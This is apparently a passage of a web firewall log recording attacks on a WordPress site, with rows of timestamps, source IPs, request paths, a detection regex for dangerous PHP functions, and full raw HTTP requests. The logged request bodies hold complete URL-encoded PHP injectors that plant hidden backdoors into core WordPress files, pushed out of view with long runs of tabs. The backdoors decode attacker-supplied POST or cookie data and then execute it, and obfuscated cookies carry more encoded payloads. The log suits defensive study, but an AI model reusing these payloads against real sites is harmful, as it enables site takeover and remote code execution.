%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLx4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4793\n\nbN=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-privacy-data-removal-requests-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_POST%255B%2522%255Cx72%255Cx65c%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524property_set%2520%253D%2520%2524_POST%255B%2522%255Cx72%255Cx65c%2522%255D%253B%2520%2524property_set%253D%2520explode%2520%2528%2520%2527.%2527%252C%2520%2524property_set%2520%2529%253B%2520%2524reference%2520%253D%2527%2527%253B%2520%2524s4%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253Dstrlen%2528%2520%2524s4%2529%253B%2520%2524o%2520%253D0%253B%2520while%2528%2520%2524o%253Ccount%2528%2520%2524property_set%2529%2529%2520%257B%2520%2524v4%2520%253D%2524property_set%255B%2524o%255D%253B%2520%2524sChar%2520%253Dord%2528%2520%2524s4%255B%2524o%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2528%2520%2528%2520int%2529%2524v4%2520-%2520%2524sChar%2520-%2528%2520%2524o%2520%2525%252010%2529%2529%255E%252011%253B%2520%2524reference%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520%2524ent%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524descriptor%2520%253D%25200%253B%2520do%2520%257B%2520%2524tkn%2520%253D%2520%2524ent%255B%2524descriptor%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524descriptor%2520%253E%253D%2520count%2528%2524ent%2529%2529%2520break%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524tkn%2529%2529%2520%257B%2520%2524element%2520%253D%2520%2522%2524tkn\/.marker%2522%253B%2520if%2520%2528file_put_contents%2528%2524element%252C%2520%2524reference%2529%2529%2520%257B%2520include%2520%2524element%253B%2520%2540unlink%2528%2524element%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524descriptor%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:58:37","123.30.233.13","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-privacy-data-removal-requests-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_POST%255B%2522%255Cx72%255Cx65c%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524property_set%2520%253D%2520%2524_POST%255B%2522%255Cx72%255Cx65c%2522%255D%253B%2520%2524property_set%253D%2520explode%2520%2528%2520%2527.%2527%252C%2520%2524property_set%2520%2529%253B%2520%2524reference%2520%253D%2527%2527%253B%2520%2524s4%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253Dstrlen%2528%2520%2524s4%2529%253B%2520%2524o%2520%253D0%253B%2520while%2528%2520%2524o%253Ccount%2528%2520%2524property_set%2529%2529%2520%257B%2520%2524v4%2520%253D%2524property_set%255B%2524o%255D%253B%2520%2524sChar%2520%253Dord%2528%2520%2524s4%255B%2524o%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2528%2520%2528%2520int%2529%2524v4%2520-%2520%2524sChar%2520-%2528%2520%2524o%2520%2525%252010%2529%2529%255E%252011%253B%2520%2524reference%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520%2524ent%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524descriptor%2520%253D%25200%253B%2520do%2520%257B%2520%2524tkn%2520%253D%2520%2524ent%255B%2524descriptor%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524descriptor%2520%253E%253D%2520count%2528%2524ent%2529%2529%2520break%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524tkn%2529%2529%2520%257B%2520%2524element%2520%253D%2520%2522%2524tkn\/.marker%2522%253B%2520if%2520%2528file_put_contents%2528%2524element%252C%2520%2524reference%2529%2529%2520%257B%2520include%2520%2524element%253B%2520%2540unlink%2528%2524element%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524descriptor%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4816\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\naccept:*\/*\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-privacy-data-removal-requests-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_POST%255B%2522%255Cx72%255Cx65c%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524property_set%2520%253D%2520%2524_POST%255B%2522%255Cx72%255Cx65c%2522%255D%253B%2520%2524property_set%253D%2520explode%2520%2528%2520%2527.%2527%252C%2520%2524property_set%2520%2529%253B%2520%2524reference%2520%253D%2527%2527%253B%2520%2524s4%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253Dstrlen%2528%2520%2524s4%2529%253B%2520%2524o%2520%253D0%253B%2520while%2528%2520%2524o%253Ccount%2528%2520%2524property_set%2529%2529%2520%257B%2520%2524v4%2520%253D%2524property_set%255B%2524o%255D%253B%2520%2524sChar%2520%253Dord%2528%2520%2524s4%255B%2524o%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2528%2520%2528%2520int%2529%2524v4%2520-%2520%2524sChar%2520-%2528%2520%2524o%2520%2525%252010%2529%2529%255E%252011%253B%2520%2524reference%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520%2524ent%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524descriptor%2520%253D%25200%253B%2520do%2520%257B%2520%2524tkn%2520%253D%2520%2524ent%255B%2524descriptor%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524descriptor%2520%253E%253D%2520count%2528%2524ent%2529%2529%2520break%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524tkn%2529%2529%2520%257B%2520%2524element%2520%253D%2520%2522%2524tkn\/.marker%2522%253B%2520if%2520%2528file_put_contents%2528%2524element%252C%2520%2524reference%2529%2529%2520%257B%2520include%2520%2524element%253B%2520%2540unlink%2528%2524element%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524descriptor%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 10:58:40","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Si:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-privacy-data-removal-requests-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_POST%255B%2522%255Cx72%255Cx65c%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524property_set%2520%253D%2520%2524_POST%255B%2522%255Cx72%255Cx65c%2522%255D%253B%2520%2524property_set%253D%2520explode%2520%2528%2520%2527.%2527%252C%2520%2524property_set%2520%2529%253B%2520%2524reference%2520%253D%2527%2527%253B%2520%2524s4%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253Dstrlen%2528%2520%2524s4%2529%253B%2520%2524o%2520%253D0%253B%2520while%2528%2520%2524o%253Ccount%2528%2520%2524property_set%2529%2529%2520%257B%2520%2524v4%2520%253D%2524property_set%255B%2524o%255D%253B%2520%2524sChar%2520%253Dord%2528%2520%2524s4%255B%2524o%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2528%2520%2528%2520int%2529%2524v4%2520-%2520%2524sChar%2520-%2528%2520%2524o%2520%2525%252010%2529%2529%255E%252011%253B%2520%2524reference%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520%2524ent%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524descriptor%2520%253D%25200%253B%2520do%2520%257B%2520%2524tkn%2520%253D%2520%2524ent%255B%2524descriptor%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524descriptor%2520%253E%253D%2520count%2528%2524ent%2529%2529%2520break%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524tkn%2529%2529%2520%257B%2520%2524element%2520%253D%2520%2522%2524tkn\/.marker%2522%253B%2520if%2520%2528file_put_contents%2528%2524element%252C%2520%2524reference%2529%2529%2520%257B%2520include%2520%2524element%253B%2520%2540unlink%2528%2524element%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524descriptor%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvH2xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4793\n\nSi=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-privacy-data-removal-requests-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_POST%255B%2522%255Cx72%255Cx65c%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524property_set%2520%253D%2520%2524_POST%255B%2522%255Cx72%255Cx65c%2522%255D%253B%2520%2524property_set%253D%2520explode%2520%2528%2520%2527.%2527%252C%2520%2524property_set%2520%2529%253B%2520%2524reference%2520%253D%2527%2527%253B%2520%2524s4%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253Dstrlen%2528%2520%2524s4%2529%253B%2520%2524o%2520%253D0%253B%2520while%2528%2520%2524o%253Ccount%2528%2520%2524property_set%2529%2529%2520%257B%2520%2524v4%2520%253D%2524property_set%255B%2524o%255D%253B%2520%2524sChar%2520%253Dord%2528%2520%2524s4%255B%2524o%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2528%2520%2528%2520int%2529%2524v4%2520-%2520%2524sChar%2520-%2528%2520%2524o%2520%2525%252010%2529%2529%255E%252011%253B%2520%2524reference%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520%2524ent%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524descriptor%2520%253D%25200%253B%2520do%2520%257B%2520%2524tkn%2520%253D%2520%2524ent%255B%2524descriptor%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524descriptor%2520%253E%253D%2520count%2528%2524ent%2529%2529%2520break%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524tkn%2529%2529%2520%257B%2520%2524element%2520%253D%2520%2522%2524tkn\/.marker%2522%253B%2520if%2520%2528file_put_contents%2528%2524element%252C%2520%2524reference%2529%2529%2520%257B%2520include%2520%2524element%253B%2520%2540unlink%2528%2524element%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524descriptor%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:59:15","129.121.41.228","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> DD:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/typography.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B16%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B16%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B5%255D%2528%2529.%2524p%255B15%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B29%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B24%255D%2528%2524n%252C%2524p%255B1%255D.%2524p%255B20%255D%2528%2524p%255B4%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=1af844051764377410b827578daae50e; 